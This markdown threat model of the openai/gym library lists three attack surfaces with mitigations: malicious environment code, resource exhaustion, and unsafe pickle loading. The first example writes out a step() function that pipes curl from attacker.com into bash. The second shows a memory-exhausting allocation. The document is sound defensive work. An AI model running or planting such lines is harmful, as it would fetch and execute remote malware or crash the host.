attack-surface.md

Attack Surface Analysis for openai/gym

Attack Surface: 1. Malicious Environment Code Injection

• Description: An attacker provides a crafted environment that executes arbitrary code on the host system when interacted with by the agent. This is the most direct and severe threat.
• How Gym Contributes: Gym's fundamental purpose is to execute the environment's code (step(), reset(), etc.). If this code is malicious, Gym is the direct execution vector.
• Example: An attacker uploads a custom environment definition (Python file) where the step() function contains malicious code that downloads and executes a payload from a remote server: def step(self, action): os.system("curl http://attacker.com/malware.sh | bash").
• Impact: Complete system compromise. The attacker gains full control over the machine running the Gym agent.
• Risk Severity: Critical
• Mitigation Strategies:
  • Strict Input Validation: Never directly execute environment code from untrusted sources. If dynamic environment loading is absolutely necessary, use a highly restricted, sandboxed interpreter (e.g., WebAssembly, a restricted Python sandbox, or a custom parser with a very limited instruction set). Never use eval() or exec() on untrusted input.
  • Environment Sandboxing: Run all environments in isolated containers (e.g., Docker) or virtual machines with minimal privileges and no network access unless strictly required and carefully controlled. Ensure the container image itself is minimal and secure.
  • Code Review: Mandate thorough, manual code review of all environments, especially those from third-party sources or user submissions. Look for any system calls, network connections, or attempts to access sensitive resources.
  • Trusted Sources Only: Ideally, only use environments from highly trusted sources (e.g., the official Gym library, well-vetted and maintained community repositories). Implement a strict approval and verification process for any user-submitted or externally sourced environments.

Attack Surface: 2. Resource Exhaustion (Denial of Service) via Environment

• Description: A malicious environment consumes excessive system resources (CPU, memory, disk, network), leading to denial of service for the agent or the entire system.
• How Gym Contributes: Gym provides the interface for interacting with the environment, and the environment's code (which Gym executes) determines resource usage.
• Example: An environment's reset() function allocates a massive array that fills all available memory: def reset(self): self.huge_array = [0] * (1024**3). Or, the step() function enters an infinite loop without yielding control.
• Impact: Denial of service. The agent training process crashes, or the entire system becomes unresponsive.
• Risk Severity: High
• Mitigation Strategies:
  • Strict Resource Limits: Use operating system mechanisms (e.g., ulimit on Linux, cgroups in Docker) to strictly limit the CPU time, memory, disk space, and network bandwidth that each environment can consume. These limits should be enforced at the OS level, not just within the Python process.
  • Timeouts: Implement short, strict timeouts for all environment interactions (step(), reset(), render()). If an environment function takes longer than the timeout, terminate the environment process.
  • Monitoring: Continuously monitor the resource usage of each running environment. If an environment exceeds predefined thresholds (even before hitting the hard limits), terminate it and log the event for investigation.
  • Sandboxing: Containers and VMs (as described above) provide an additional layer of isolation and resource control, helping to contain the impact of resource exhaustion.

Attack Surface: 3. Untrusted Deserialization (Pickle Bomb) via Environment Loading

• Description: An attacker provides a malicious serialized object (e.g., a pickled environment) that, when deserialized by Gym or related code, executes arbitrary code.
• How Gym Contributes: If Gym or associated tooling uses pickle (or a similarly vulnerable serialization library) to load environments or environment states from files or network sources, it becomes vulnerable.
• Example: An attacker uploads a file named malicious_env.pkl that claims to be a saved Gym environment. When the application calls pickle.load() on this file, the attacker's code is executed.
• Impact: Complete system compromise.
• Risk Severity: Critical
• Mitigation Strategies:
  • Absolute Prohibition of Untrusted Pickle: Never, under any circumstances, use pickle.load() (or similar functions from vulnerable serialization libraries) on data from untrusted sources. This is a non-negotiable security rule.
  • Secure Serialization Alternatives: Use secure serialization formats like JSON (for simple data structures) or Protocol Buffers (for more complex data and better performance). These formats are designed for data interchange and do not support arbitrary code execution.
  • Data Validation (If Pickle is Unavoidable - Not Recommended): If, and only if, you are forced to use pickle due to legacy constraints (and you fully understand the extreme risks), implement extremely rigorous validation of the deserialized data before using it. This is exceptionally difficult to do correctly and is strongly discouraged. Consider cryptographic signatures to verify the integrity and authenticity of the serialized data, but even this is not a foolproof solution. The best approach is to avoid pickle entirely with untrusted data.